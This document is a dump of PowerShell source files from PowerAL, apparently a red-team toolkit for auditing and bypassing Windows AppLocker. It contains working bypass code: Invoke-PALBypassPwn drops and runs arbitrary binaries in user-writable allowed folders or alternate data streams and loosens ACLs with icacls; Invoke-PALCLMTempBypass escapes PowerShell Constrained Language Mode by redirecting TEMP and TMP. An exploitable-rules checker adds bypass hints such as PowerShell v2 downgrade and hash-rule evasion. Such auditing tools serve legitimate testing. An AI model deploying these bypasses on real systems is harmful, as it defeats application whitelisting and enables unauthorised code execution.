$null 57 | } 58 | 59 | 60 | } 61 | 62 | Process 63 | { 64 | #To keep array intact if they contain data 65 | if($scannedPaths -eq $null) 66 | { 67 | $Global:ScannedPaths = @() 68 | } 69 | 70 | if($writeablepaths -eq $null) 71 | { 72 | $Global:WriteablePaths = @() 73 | } 74 | 75 | [Bool]$Match = $false 76 | foreach($sp in $Global:scannedPaths) 77 | { 78 | if($Path.ToLower() -like "*$($sp.ToLower())*") 79 | { 80 | $Match = $true 81 | } 82 | } 83 | 84 | if($Match) 85 | { 86 | Write-Verbose "Path already scanned" 87 | return $Global:writeablepaths 88 | } 89 | else 90 | { 91 | # Add the path to scanned path list 92 | $Global:ScannedPaths += $path 93 | 94 | [string]$tempname = "$(Get-Random).txt" 95 | 96 | $AllPaths = (Get-ChildItem $($path) -directory -Recurse -force -ErrorAction SilentlyContinue).FullName 97 | 98 | $ProgressTotal = $AllPaths.count 99 | $i = 0 100 | [int]$interval = $ProgressTotal * 0.1 101 | foreach($pth in $AllPaths){ 102 | #write-verbose "-- $pth\$tempname --" 103 | try{ 104 | # Update progress less often 105 | if ($i % $interval -eq 0) 106 | { 107 | Write-Progress -Activity 'Checking for writeable folders' -Status "Checking subfolders for $path - $i of $ProgressTotal" -PercentComplete (($i/$ProgressTotal)*100) 108 | } 109 | $i++ 110 | 111 | New-Item -Path $pth -Name $tempname -ItemType File -ErrorAction Stop | Out-Null 112 | #New-Item -Path $pth -Name $tempname -ItemType Directory -ErrorAction Stop | Out-Null 113 | Write-verbose "Created file: $pth\$tempname" 114 | $Global:writeablepaths += $pth 115 | 116 | } 117 | catch{ 118 | #Write-verbose "Not able to create file: $pth\$tempname" 119 | $ErrorMessage = $_ 120 | Write-Debug $ErrorMessage 121 | } 122 | Finally{ 123 | 124 | } 125 | 126 | #Cleanup - delete the temporary file 127 | Remove-Item -Path $pth"\"$tempname -ErrorAction SilentlyContinue | Out-Null 128 | if(test-path $pth"\"$tempname){ 129 | Write-Verbose "File not deleted: $pth\$tempname" 130 | Write-verbose "Adjusting ACLs on $pth\$tempname" 131 | icacls $pth"\"$tempname /grant "BUILTIN\Users:(F)" | Out-Null 132 | Write-Verbose "Trying to delete again: $path\$tempname" 133 | Remove-Item -Path $pth"\"$tempname -ErrorAction SilentlyContinue | Out-Null 134 | if(test-path $pth"\"$tempname) 135 | { 136 | Write-Error "File not deleted: $pth\$tempname" 137 | } 138 | else 139 | { 140 | Write-Verbose "Successfully deleted: $pth\$tempname" 141 | } 142 | } 143 | else 144 | { 145 | } 146 | } 147 | 148 | return $Global:writeablepaths 149 | } 150 | } 151 | } 152 | -------------------------------------------------------------------------------- /PowerAL/Functions/Invoke-PALAllInfo.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/api0cradle/PowerAL/c903fdead4ce2fe127313a76078ce3b484cae3c3/PowerAL/Functions/Invoke-PALAllInfo.ps1 -------------------------------------------------------------------------------- /PowerAL/Functions/Invoke-PALBypassPwn.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PALBypassPwn 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Gets AppLocker rules that can be exploited and executes specified binary. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: ICACLS.exe, Get-PALWriteableAllowedPaths 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Gets all allowed AppLocker Paths from Get-PalWriteableAllowedPaths and places the binary you want into 16 | an allowed path and executes. 17 | 18 | .PARAMETER BinaryFile 19 | 20 | The binaryfile you want to execute. Needs to be the full path: C:\folder\file.exe 21 | 22 | .PARAMETER Type 23 | This specifies the type of file you are trying to execute. This can either be Exe or Dll. 24 | Dll is currently not added 100%. 25 | 26 | .PARAMETER Bruteforce 27 | 28 | When this switch is used the function will try all user writeable paths until it either 29 | runs out of paths or it is able to execute the binary specified. 30 | 31 | .PARAMETER ADS 32 | 33 | When this switch is used the function will place the binary inside an Alternate Data Stream on the user writeable folder. 34 | 35 | .EXAMPLE 36 | 37 | PS C:\> Invoke-PALBypassPwn -BinaryFile C:\temp\ADExplorer.exe -Type Exe 38 | 39 | [*] Running Invoke-AppLockerBypassPwn 40 | 41 | [*] Trying to Pwn using modifiable paths that AppLocker allows 42 | [*] Getting modifiable paths allowed by AppLocker Path rules - Be very patient! 43 | [+] Got the following EXE paths that are modifiable 44 | 45 | Name Path 46 | ---- ---- 47 | Exe C:\Program Files (x86)\IBM\Client Access 48 | Exe C:\Windows\System32\spool\PRINTERS 49 | Exe C:\Windows\System32\spool\SERVERS 50 | Exe C:\Windows\System32\spool\drivers\color 51 | 52 | 53 | [*] Picking random Path to try 54 | [+] C:\Windows\System32\spool\drivers\color was choosen 55 | 56 | [*] Picking random filename 57 | [+] b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe was choosen 58 | 59 | [+] Copying binary file b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe to C:\Windows\System32\spool\drivers\color 60 | 61 | [+] Checking ACL on C:\Windows\System32\spool\drivers\color\b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe 62 | [+] ACL's all good on C:\Windows\System32\spool\drivers\color\b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe 63 | [+] Trying to start binary file b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe 64 | [+] Process launched - The world is ours! 65 | [+] [Manual action needed] Remember to delete - C:\Windows\System32\spool\drivers\color\b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe 66 | [+] Command added to your clipboard 67 | Remove-item "C:\Windows\System32\spool\drivers\color\b09e1627-5c19-4526-8ea3-ae2b40f7810f.exe" 68 | 69 | .EXAMPLE 70 | 71 | PS C:\> Invoke-PALBypassPwn -BinaryFile C:\temp\ADExplorer.exe -Type Exe -bruteforce -ADS 72 | 73 | [*] Running Invoke-AppLockerBypassPwn 74 | 75 | [*] Trying to Pwn using modifiable paths that AppLocker allows 76 | [*] Getting modifiable paths allowed by AppLocker Path rules - Be very patient! 77 | [+] Got the following EXE paths that are modifiable 78 | 79 | Name Path 80 | ---- ---- 81 | Exe C:\Windows\Tasks 82 | Exe C:\Windows\tracing 83 | Exe C:\Windows\System32\FxsTmp 84 | Exe C:\Windows\System32\Tasks 85 | 86 | [+] Copying binary file 409d49b5-774a-46ff-abcd-5c166a6a9f73.exe to ADS in C:\Windows\Tasks 87 | [+] Trying to start binary file C:\Windows\Tasks:409d49b5-774a-46ff-abcd-5c166a6a9f73.exe 88 | 89 | [-] Process failed to launched from C:\Windows\Tasks:409d49b5-774a-46ff-abcd-5c166a6a9f73.exe 90 | 91 | [+] Copying binary file 3a8a14d0-eda9-44f6-b7c6-1e97aff3c8cf.exe to ADS in C:\Windows\tracing 92 | [+] Trying to start binary file C:\Windows\tracing:3a8a14d0-eda9-44f6-b7c6-1e97aff3c8cf.exe 93 | 94 | [+] Process launched - The world is ours! 95 | [-] You need to manually remove the binaries added to the streams 96 | [+] List of commands 97 | Remove-item "C:\Windows\Tasks" -stream 409d49b5-774a-46ff-abcd-5c166a6a9f73.exe 98 | Remove-item "C:\Windows\tracing" -stream 3a8a14d0-eda9-44f6-b7c6-1e97aff3c8cf.exe 99 | 100 | #> 101 | 102 | # Function Version: 0.90 103 | 104 | [CmdletBinding()] Param ( 105 | [parameter(Mandatory=$true)] 106 | [String]$BinaryFile, 107 | 108 | [ValidateSet("Exe","Dll")] 109 | [parameter(Mandatory=$true)] 110 | [String]$Type, 111 | 112 | [Switch]$BruteForce, 113 | 114 | [Switch]$ADS 115 | ) 116 | Process 117 | { 118 | Try 119 | { 120 | "`n[*] Running Invoke-AppLockerBypassPwn" 121 | 122 | "`n[*] Trying to Pwn using modifiable paths that AppLocker allows" 123 | 124 | if($Type -eq "Exe") 125 | { 126 | "[*] Getting modifiable paths allowed by AppLocker Path rules - Be very patient!" 127 | #Needed because of bug with Global variables 128 | Get-PALWriteableAllowedPaths | Out-Null 129 | $AllowedPaths = Get-PALWriteableAllowedPaths -RuleSection Exe 130 | 131 | if($AllowedPaths) 132 | { 133 | "[+] Got the following EXE paths that are modifiable" 134 | $AllowedPaths 135 | 136 | if($BruteForce) 137 | { 138 | $FilesLeftBehind = @() 139 | foreach($Path in $AllowedPaths) 140 | { 141 | $RandomFileName = [System.Guid]::NewGuid().ToString()+".exe" 142 | if($ADS) 143 | { 144 | "`n[+] Copying binary file $RandomFileName to ADS in $($Path.path)" 145 | Get-Content $BinaryFile -Raw | set-content -path $Path.path -Stream $RandomFileName 146 | Write-Verbose "$Path.path\:$randomfilename" 147 | $CMDLine = "$($Path.path):$RandomFileName" 148 | "[+] Trying to start binary file $CMDLine" 149 | Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $CMDLine} 150 | 151 | sleep 5 152 | $ProcessActive = get-process | where{$_.path -eq $CMDLine} -ErrorAction SilentlyContinue 153 | if($ProcessActive -eq $null) 154 | { 155 | "[-] Process failed to launched from $CMDLine" 156 | $FilesLeftBehind += "Remove-item `"$($Path.Path)`" -stream $RandomFileName" 157 | } 158 | else 159 | { 160 | "[+] Process launched - The world is ours!" 161 | "[-] You need to manually remove the binaries added to the streams" 162 | "[+] List of commands" 163 | $FilesLeftBehind += "Remove-item `"$($Path.Path)`" -stream $RandomFileName" 164 | $FilesLeftBehind 165 | break 166 | } 167 | } 168 | else 169 | { 170 | # Bruteforce execution of file 171 | "`n[+] Copying binary file $RandomFileName to $($Path.path)" 172 | copy-item -Path $BinaryFile -Destination (join-path $($Path.Path) $RandomFileName) 173 | #####"`n[+] Setting ACL using ICALCS giving Users full control of $RandomFileName" 174 | #####icacls $pth"\"$tempname /grant "BUILTIN\Users:(F)" | Out-Null 175 | 176 | "[+] Trying to start binary file $RandomFileName" 177 | Invoke-Expression "& '$(join-path $($Path.Path) $RandomFileName)'" -ErrorAction Stop 178 | 179 | #Check if process was launched 180 | Sleep 5 181 | 182 | $ProcessActive = get-process | where{$_.path -eq $(join-path $Path.Path $RandomFileName)} -ErrorAction SilentlyContinue 183 | if($ProcessActive -eq $null) 184 | { 185 | "[-] Process failed to launched from (join-path $($Path.Path) $RandomFileName)" 186 | "[-] Removing copied binary: (join-path $($Path.Path) $RandomFileName)" 187 | remove-item (join-path $($Path.Path) $RandomFileName) 188 | } 189 | else 190 | { 191 | "[+] Process launched - The world is ours!" 192 | "[+] [Manual action needed] Remember to delete - $(join-path $($Path.Path) $RandomFileName)" 193 | "Remove-item `"$(join-path $Path.Path $RandomFileName)`"" | clip 194 | "[+] Command added to your clipboard" 195 | "Remove-item `"$(join-path $($Path.Path) $RandomFileName)`"" 196 | break 197 | } 198 | } 199 | } 200 | } 201 | else # Only try one time and stop if it fails 202 | { 203 | $RandomPath = $AllowedPaths[(Get-Random -Minimum 0 -Maximum $AllowedPaths.Count)] 204 | "`n[*] Picking random Path to try" 205 | "[+] $($RandomPath.path) was choosen" 206 | 207 | $RandomFileName = [System.Guid]::NewGuid().ToString()+".exe" 208 | "`n[*] Picking random filename" 209 | "[+] $($RandomFilename) was choosen" 210 | if($ADS) 211 | { 212 | "`n[+] Copying binary file $RandomFileName to ADS in $($RandomPath.path)" 213 | Get-Content $BinaryFile -Raw | set-content -path $RandomPath.path -Stream $RandomFileName 214 | Write-Verbose "$RandomPath.path\:$randomfilename" 215 | $CMDLine = "$($RandomPath.path):$RandomFileName" 216 | "[+] Trying to start binary file $CMDLine" 217 | Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $CMDLine} 218 | 219 | sleep 5 220 | $ProcessActive = get-process | where{$_.path -eq $CMDLine} -ErrorAction SilentlyContinue 221 | if($ProcessActive -eq $null) 222 | { 223 | "[-] Process failed to launched from $CMDLine" 224 | "[-] You need to manually remove the binary: $CMDLine" 225 | "Remove-item `"$($RandomPath.Path)`" -stream $RandomFileName" | clip 226 | "[+] Command added to your clipboard" 227 | "Remove-item `"$($RandomPath.Path)`" -stream $RandomFileName" 228 | break 229 | } 230 | else 231 | { 232 | "[+] Process launched - The world is ours!" 233 | "[-] You need to manually remove the binary: $CMDLine" 234 | "Remove-item `"$($RandomPath.Path)`" -stream $RandomFileName" | clip 235 | "[+] Command added to your clipboard" 236 | "Remove-item `"$($RandomPath.Path)`" -stream $RandomFileName" 237 | break 238 | } 239 | } 240 | else 241 | { 242 | #Normal execution of file 243 | "`n[+] Copying binary file $RandomFileName to $($RandomPath.Path)" 244 | copy-item -Path $BinaryFile -Destination (join-path $($RandomPath.Path) $RandomFileName) 245 | $JoinedPath = $($RandomPath.Path+"\"+$RandomFileName) 246 | 247 | $user = $env:USERNAME 248 | "`n[+] Checking ACL on $JoinedPath" 249 | if((get-acl -path $JoinedPath).AccessToString -match "Users.*Allow.*ReadAndExecute" -or (get-acl -path $JoinedPath).AccessToString -match "Users.*Allow.*FullControl" -or (get-acl -path $JoinedPath).AccessToString -match "$user.*Allow.*FullControl" -or (get-acl -path $JoinedPath).AccessToString -match "$user.*Allow.*ReadAndExecute") 250 | { 251 | "[+] ACL's all good on $JoinedPath" 252 | } 253 | else 254 | { 255 | "[+] Lackin correct ACL on $JoinedPath" 256 | "[+] Setting ACL using ICALCS giving Users full control on $JoinedPath" 257 | # Not possible to use Set-ACL in Constrained Language mode...Have to depend on ICACLS..that sux.. 258 | icacls $JoinedPath /grant "BUILTIN\Users:(F)" 259 | if($LASTEXITCODE -ne 0) 260 | { 261 | "[-] Not able to change ACLs on file - Will stop execution and cleanup - Re-run function to give it another try or use the bruteforce to try until you are successfull" 262 | remove-item (join-path $RandomExePath.Path $RandomFileName) 263 | break 264 | } 265 | } 266 | 267 | "[+] Trying to start binary file $RandomFileName" 268 | invoke-expression "& '$(join-path $($RandomPath.Path) $RandomFileName)'" -ErrorAction Stop 269 | 270 | #Check if process was launched 271 | Sleep 5 272 | $ProcessActive = get-process | where{$_.path -eq $(join-path $($RandomPath.Path) $RandomFileName)} -ErrorAction SilentlyContinue 273 | if($ProcessActive -eq $null) 274 | { 275 | "[-] Process failed to launched from $(join-path $($RandomPath.Path) $RandomFileName)" 276 | "[-] Remving copied binary: $(join-path $($RandomPath.Path) $RandomFileName)" 277 | remove-item $(join-path $($RandomPath.Path) $RandomFileName) 278 | } 279 | else 280 | { 281 | "[+] Process launched - The world is ours!" 282 | "[+] [Manual action needed] Remember to delete - $(join-path $($RandomPath.Path) $RandomFileName)" 283 | "Remove-item `"$(join-path $($RandomPath.Path) $RandomFileName)`"" | clip 284 | "[+] Command added to your clipboard" 285 | "Remove-item `"$(join-path $($RandomPath.Path) $RandomFileName)`"" 286 | break 287 | } 288 | } 289 | } 290 | } 291 | else 292 | { 293 | "[-] Got none EXE paths that are writable :-(" 294 | } 295 | } 296 | 297 | if($Type -eq "Dll") 298 | { 299 | Write-error "Not implemented yet" 300 | break 301 | } 302 | } 303 | Catch 304 | { 305 | write-error $_ 306 | } 307 | Finally{} 308 | } 309 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Invoke-PALCLMTempBypass.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Modules CimCmdlets 2 | Function Invoke-PALCLMTempBypass 3 | { 4 | <# 5 | .SYNOPSIS 6 | 7 | The function figures out allowed Script paths, injects that path to the temp and tmp variable in a new Powershell console. 8 | This results in a Full Language Mode Powershell console. 9 | 10 | Author: @oddvarmoe 11 | License: BSD 3-Clause 12 | Required Dependencies: Get-PALWriteableAllowedPaths 13 | Optional Dependencies: None 14 | 15 | .DESCRIPTION 16 | 17 | Calling function without parameters will make it get all the AppLocker rules for 18 | the scripts rule section and figure out if there is a writable path for the user. 19 | The script will then pick a random writable path and spawn a new Powershell window 20 | pointing %temp% and %tmp% to that location. 21 | 22 | If you specify $AllowedPath it will not enumerate the rules and figure out writable 23 | locations. Instead it will try to spawn Powershell with the %temp% and %tmp% pointing to 24 | that location. 25 | 26 | Use $ExecutionContext.SessionState.LanguageMode to check language mode 27 | 28 | .PARAMETER AllowedPath 29 | 30 | Instead of enumerating you can supply a path to a location where you know that execution of scripts is allowed and the user has write access to. 31 | 32 | .PARAMETER PoshStartParms 33 | 34 | Specify if you want to add parameters to the powershell.exe that will be spawned. 35 | You need to start with a space. Ex -PoshStartParms " -file c:\temp\file.ps1" 36 | 37 | .EXAMPLE 38 | 39 | Spawns a new Powershell window if it figures out a valid path 40 | 41 | PS C:\> Invoke-PALCLMTempBypass 42 | 43 | [*] Finding suitable script rule location 44 | 45 | [*] Starting full language mode Powershell 46 | 47 | ProcessId ReturnValue PSComputerName 48 | --------- ----------- -------------- 49 | 4000 0 50 | 51 | .EXAMPLE 52 | 53 | PS C:\> Invoke-PALCLMTempBypass -AllowedPath C:\windows\Tasks\ 54 | 55 | [*] Path specified - Trying bypass from that path 56 | 57 | [*] Starting full language mode Powershell 58 | 59 | ProcessId ReturnValue PSComputerName 60 | --------- ----------- -------------- 61 | 6092 0 62 | #> 63 | 64 | # Function Version: 1.0 65 | 66 | [CmdletBinding()] Param ( 67 | [String] 68 | $AllowedPath, 69 | 70 | [String] 71 | $PoshStartParms 72 | ) 73 | Process 74 | { 75 | Try 76 | { 77 | $InjectiblePaths = @() 78 | 79 | if($AllowedPath) 80 | { 81 | "`n[*] Path specified - Trying bypass from that path" 82 | $InjectiblePaths += $AllowedPath 83 | } 84 | else 85 | { 86 | "`n[*] Finding suitable script rule location - Be patient - Takes time the first time you run it per session, since it calculates all writable paths!" 87 | #A bug... Needs to run it once before I can use rulesection and get the correct count 88 | #must be something related to global variables 89 | Get-PALWriteableAllowedPaths | Out-Null 90 | $InjectiblePaths += Get-PALWriteableAllowedPaths -RuleSection Script 91 | } 92 | 93 | if($InjectiblePaths) 94 | { 95 | $RandomScriptAllowedPath = $InjectiblePaths[(Get-Random -Minimum 0 -Maximum $InjectiblePaths.Count)] 96 | "`[*] Found $($InjectiblePaths.count) paths" 97 | "`[*] Random path picked: $($RandomScriptAllowedPath.Path)" 98 | "`[*] Launching Powershell with TEMP/TMP set to: $($RandomScriptAllowedPath.Path)" 99 | $TEMPBypassPath = $RandomScriptAllowedPath 100 | $TMPBypassPath = $RandomScriptAllowedPath 101 | 102 | #Borrowed code from Matt Graeber (Thanks! You rock! #KeepMattHappy) 103 | #https://gist.githubusercontent.com/mattifestation/9d09822e94fc901559280d700101f14e/raw/0128bf47f1f761a9fd254d1bf268579ff2a15685/RunscripthelperBypass.ps1 104 | $CMDLine = "$PSHOME\powershell.exe" 105 | 106 | If($PoshStartParms){ 107 | $CMDLine += $PoshStartParms 108 | } 109 | 110 | [String[]] $EnvVarsExceptTemp = Get-ChildItem Env:\* -Exclude "TEMP","TMP"| % { "$($_.Name)=$($_.Value)" } 111 | $TEMPBypassPath = "Temp=$($RandomScriptAllowedPath.Path)" 112 | $TMPBypassPath = "TMP=$($RandomScriptAllowedPath.Path)" 113 | $EnvVarsExceptTemp += $TEMPBypassPath 114 | $EnvVarsExceptTemp += $TMPBypassPath 115 | 116 | $StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp } 117 | $StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties 118 | 119 | "`n[*] Starting full language mode Powershell" 120 | Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ 121 | CommandLine = $CMDLine 122 | ProcessStartupInformation = $StartParams 123 | } 124 | } 125 | else 126 | { 127 | Write-Verbose "No path found, bypass not possible :-(" 128 | } 129 | } 130 | Catch 131 | { 132 | write-error $_ 133 | } 134 | Finally{} 135 | } 136 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Invoke-PALExploitableRules.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PALExploitableRules 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Gets AppLocker rules that potentially can be exploited. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: Get-PALRules, Get-PALRulesStatus, Get-PALWriteableAllowedPaths 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Checking AppLocker rules and looks for known weaknesses in configuration that can be exploited. 16 | 17 | .EXAMPLE 18 | 19 | PS C:\> Get-PALExploitableRules 20 | 21 | [*] Checking for Exploitable AppLocker rules - be patient 22 | ####################### 23 | #GENERAL CONFIGURATION# 24 | ####################### 25 | 26 | [*] Checking rule collection status 27 | [+] Appx is not enforced. Have fun! 28 | [+] Dll is not enforced. Have fun! 29 | 30 | [*] Checking PowerShell version 2 status 31 | [+] Powershell version 2 is enabled 32 | [+] Start Powershell with command: powershell -version 2 33 | 34 | ####################### 35 | # PUBLISHER RULES # 36 | ####################### 37 | [+] Found * Publisher Rules that can potentially be exploited: 38 | 39 | ParentName PublisherName Productname BinaryName 40 | ---------- ------------- ----------- ---------- 41 | Appx * * * 42 | Msi * * * 43 | 44 | 45 | 46 | ####################### 47 | # PATH RULES # 48 | ####################### 49 | [*] Checking for missing ADS rules 50 | [+] These writeable allowed paths does not block ADS and can be exploited: 51 | 52 | Name Path 53 | ---- ---- 54 | Exe C:\Windows\Registration\CRMLog 55 | Exe C:\Windows\System32\FxsTmp 56 | Exe C:\Windows\System32\com\dmp 57 | Exe C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 58 | Exe C:\Windows\SysWOW64\FxsTmp 59 | Exe C:\Windows\SysWOW64\Tasks 60 | Exe C:\Windows\SysWOW64\com\dmp 61 | Script C:\Windows\Tasks 62 | Script C:\Windows\Temp 63 | Script C:\Windows\tracing 64 | Script C:\Windows\System32\FxsTmp 65 | Script C:\Windows\System32\Tasks 66 | Script C:\Windows\System32\com\dmp 67 | Script C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 68 | 69 | 70 | [*] Checking if there are exploitable allowed path rules that user can write to 71 | 72 | [*] Checking for missing files and folders that has allow rules 73 | [+] Missing allowed paths found that can potentially be exploited: 74 | 75 | Name Path 76 | ---- ---- 77 | Exe C:\WINLINK\WINLINK.EXE 78 | Exe C:\USERS\*\APPDATA\LOCAL\CITRIX\ICA CLIENT\WFICA32.EXE 79 | Exe C:\SOFTWARE32\IMPORT.exe 80 | Exe C:\USERS\*\APPDATA\LOCAL\CITRIX\ICA CLIENT\RECEIVER\RECEIVER.EXE 81 | Script C:\USERS\PUBLIC\DESKTOP\SAPSTART.BAT 82 | Script C:\Software32\SHIP.BAT 83 | 84 | [*] Checking for potential CLM bypass 85 | [+] 14 potential paths found that can be used for CLM bypass 86 | [+] Use Invoke-PALCLMTempBypass to attempt to launch a full language mode PowerShell session 87 | Script C:\Windows\Tasks 88 | Script C:\Windows\Temp 89 | Script C:\Windows\tracing 90 | Script C:\Windows\Registration\CRMLog 91 | Script C:\Windows\System32\FxsTmp 92 | Script C:\Windows\System32\Tasks 93 | Script C:\Windows\System32\com\dmp 94 | Script C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 95 | Script C:\Windows\System32\spool\PRINTERS 96 | Script C:\Windows\System32\spool\SERVERS 97 | Script C:\Windows\System32\spool\drivers\color 98 | Script C:\Windows\SysWOW64\FxsTmp 99 | Script C:\Windows\SysWOW64\Tasks 100 | Script C:\Windows\SysWOW64\com\dmp 101 | 102 | ####################### 103 | # HASH RULES # 104 | ####################### 105 | [-] Did not find any hash deny rules 106 | #> 107 | # Function Version: 0.96 108 | [CmdletBinding()] Param ( 109 | [String]$OfflineXML 110 | ) 111 | Process 112 | { 113 | Try 114 | { 115 | 116 | If($OfflineXML) 117 | { 118 | "`n[*] Checking for Exploitable AppLocker rules from Offline XML" 119 | $PublisherRules = Get-PALRulesNative -OutputRules Publisher -RuleActions Allow -OfflineXML $OfflineXML 120 | $DenyPathRules = Get-PALRulesNative -OutputRules Path -RuleActions Deny -OfflineXML $OfflineXML 121 | $DenyHashRules = Get-PALRulesNative -OutputRules Hash -RuleActions Deny -OfflineXML $OfflineXML 122 | $AllowPathRules = Get-PALRulesNative -OutputRules Path -RuleActions Allow -OfflineXML $OfflineXML 123 | } 124 | else 125 | { 126 | "`n[*] Checking for Exploitable AppLocker rules - be patient" 127 | $PublisherRules = Get-PALRules -OutputRules Publisher -RuleActions Allow 128 | $DenyPathRules = Get-PALRules -OutputRules Path -RuleActions Deny -ExceptionsAsDeny 129 | $DenyHashRules = Get-PALRules -OutputRules Hash -RuleActions Deny 130 | $AllowPathRules = Get-PALRules -OutputRules Path -RuleActions Allow 131 | #Need this due to a bug 132 | Get-PALWriteableAllowedPaths | Out-Null 133 | } 134 | 135 | #Check if some of the rule collections is not configured 136 | " #######################" 137 | " #GENERAL CONFIGURATION#" 138 | " #######################" 139 | "`n[*] Checking rule collection status" 140 | $RulesStatus = Get-PALRuleSectionStatus 141 | foreach($Ruless in $RulesStatus) 142 | { 143 | if($Ruless.status -ne "Enforced") 144 | { 145 | "[+] $($Ruless.Name) is not enforced. Have fun!" 146 | } 147 | } 148 | 149 | #Check if Powershell v2 is allowed or not! 150 | "`n[*] Checking PowerShell version 2 status" 151 | $Posh2Enabled = Get-PALPoshV2Installed 152 | if($Posh2Enabled -eq "True") 153 | { 154 | "[+] Powershell version 2 is enabled" 155 | "[+] Start Powershell with command: powershell -version 2" 156 | } 157 | else 158 | { 159 | "[-] Found that Powershell version 2 is disabled" 160 | } 161 | 162 | 163 | 164 | $ExploitablePublisherRules = @() 165 | "`n #######################" 166 | " # PUBLISHER RULES #" 167 | " #######################" 168 | 169 | ## All signed binaries rule 170 | if($PublisherRules) 171 | { 172 | ForEach($PubSection in $PublisherRules) 173 | { 174 | Foreach($PubRule in $PubSection.RulesList) 175 | { 176 | if($PubRule.Publishername -eq "*") 177 | { 178 | write-verbose "[+] Trust all signed rule found in $($pubSection.name)" 179 | write-verbose "[+] Get yourself a code signing cert and start a party!" 180 | $ExploitablePublisherRules += $PubRule 181 | } 182 | } 183 | } 184 | 185 | if($ExploitablePublisherRules) 186 | { 187 | "[+] Found * Publisher Rules that can potentially be exploited:" 188 | $ExploitablePublisherRules | Select-Object ParentName,PublisherName,ProductName,BinaryName | format-table 189 | } 190 | else 191 | { 192 | "[-] No * Publisher Rules found" 193 | } 194 | } 195 | 196 | 197 | "`n #######################" 198 | " # PATH RULES #" 199 | " #######################" 200 | "[*] Checking for user writeable allowed paths" 201 | $UserAllowedWriteablePaths = Get-PALWriteableAllowedPaths 202 | if($UserAllowedWriteablePaths) 203 | { 204 | "[+] These userwriteable allowed paths was found:" 205 | $UserAllowedWriteablePaths 206 | } 207 | else 208 | { 209 | "[-] No userwriteable allowed paths was found" 210 | } 211 | 212 | "`n[*] Checking for missing ADS rules" 213 | ## ADS 214 | $MissingADSPaths = Get-PALMissingADSRules 215 | if($MissingADSPaths) 216 | { 217 | "[+] The following userwriteable allowed paths are missing ADS blocking rules:" 218 | $MissingADSPaths 219 | } 220 | else 221 | { 222 | "[-] All userwriteable allowed paths have ADS blocking rules" 223 | } 224 | 225 | 226 | ## Deny rules that are configured wrong 227 | if($DenyPathRules) 228 | { 229 | $ExploitableDenyPathRules = @() 230 | 231 | ForEach($DPR in $DenyPathRules.RulesList) 232 | { 233 | if(!($($DPR.RulePath) -match "\\\*$" -or $($DPR.RulePath) -match "\.\w{2,4}$" -or $($DPR.RulePath) -match ":\*")) 234 | { 235 | write-verbose "[+] Found misconfigured deny path rule - Missing asterix (*) - Rule has no effect" 236 | $ExploitableDenyPathRules += $DPR 237 | } 238 | } 239 | 240 | if($ExploitableDenyPathRules) 241 | { 242 | "[+] Misconfigured deny rules - Missing asterix (*) - Rule has no effect:" 243 | $ExploitableDenyPathRules | Select-Object ParentName,RulePath | Format-Table 244 | } 245 | } 246 | else{ 247 | "[+] Did not find any specific deny rules" 248 | } 249 | 250 | #Rules that allow path for a single filename 251 | # *file.exe and *file.exe* 252 | "`n[*] Checking for *file.exe and *file.exe* allowed path rules" 253 | 254 | $ExploitableAllowedPathRules = @() 255 | foreach($section in $AllowPathRules) 256 | { 257 | foreach($sect in $section.RulesList) 258 | { #*file.exe*" or "*file.exe" 259 | if($sect.path -match "^\*\w+\.\w{2,4}\*$" -or $sect.path -match "^\*\w+\.\w{2,4}$") 260 | { 261 | write-verbose "[+] Found exploitable allowed path rule in section: $($sect.ParentName)" 262 | $ExploitableAllowedPathRules += $sect 263 | } 264 | } 265 | } 266 | 267 | if($ExploitableAllowedPathRules) 268 | { 269 | "[+] Allowed Rule paths that can potentially be exploited:" 270 | $ExploitableAllowedPathRules | Select-Object ParentName,RulePath | Format-Table 271 | } 272 | 273 | ## Missing folders 274 | "`n[*] Checking for missing files and folders that has allow rules" 275 | $MissingAllowedPaths = Get-PALMissingAllowedPaths 276 | if($MissingAllowedPaths) 277 | { 278 | "[+] Missing allowed paths found that can potentially be exploited:" 279 | $MissingAllowedPaths 280 | } 281 | 282 | if(!($OfflineXML)) 283 | { 284 | # CLM bypass 285 | "`n[*] Checking for potential CLM bypass" 286 | $CLMInjectiblePaths = Get-PALWriteableAllowedPaths -RuleSection Script 287 | If($($CLMInjectiblePaths.count) -eq "0") 288 | { 289 | "[-] No user writeable allowed paths found for CLM bypass" 290 | } 291 | else 292 | { 293 | "[+] $($CLMInjectiblePaths.count) potential paths found that can be used for CLM bypass" 294 | "[+] Use Invoke-PALCLMTempBypass to attempt to launch a full language mode PowerShell session" 295 | $CLMInjectiblePaths 296 | } 297 | } 298 | 299 | "`n #######################" 300 | " # HASH RULES #" 301 | " #######################" 302 | ## Denied hash rules 303 | if($DenyHashRules) 304 | { 305 | ForEach($HR in $DenyHashRules) 306 | { 307 | "[+] Found hash deny rule" 308 | "[+] - Add content to file and execute: copy /b blockedfile.exe+txtfile.txt newfile.txt" 309 | $HR.RulesList | fl * 310 | } 311 | } 312 | else 313 | { 314 | "[-] Did not find any hash deny rules" 315 | } 316 | 317 | } 318 | 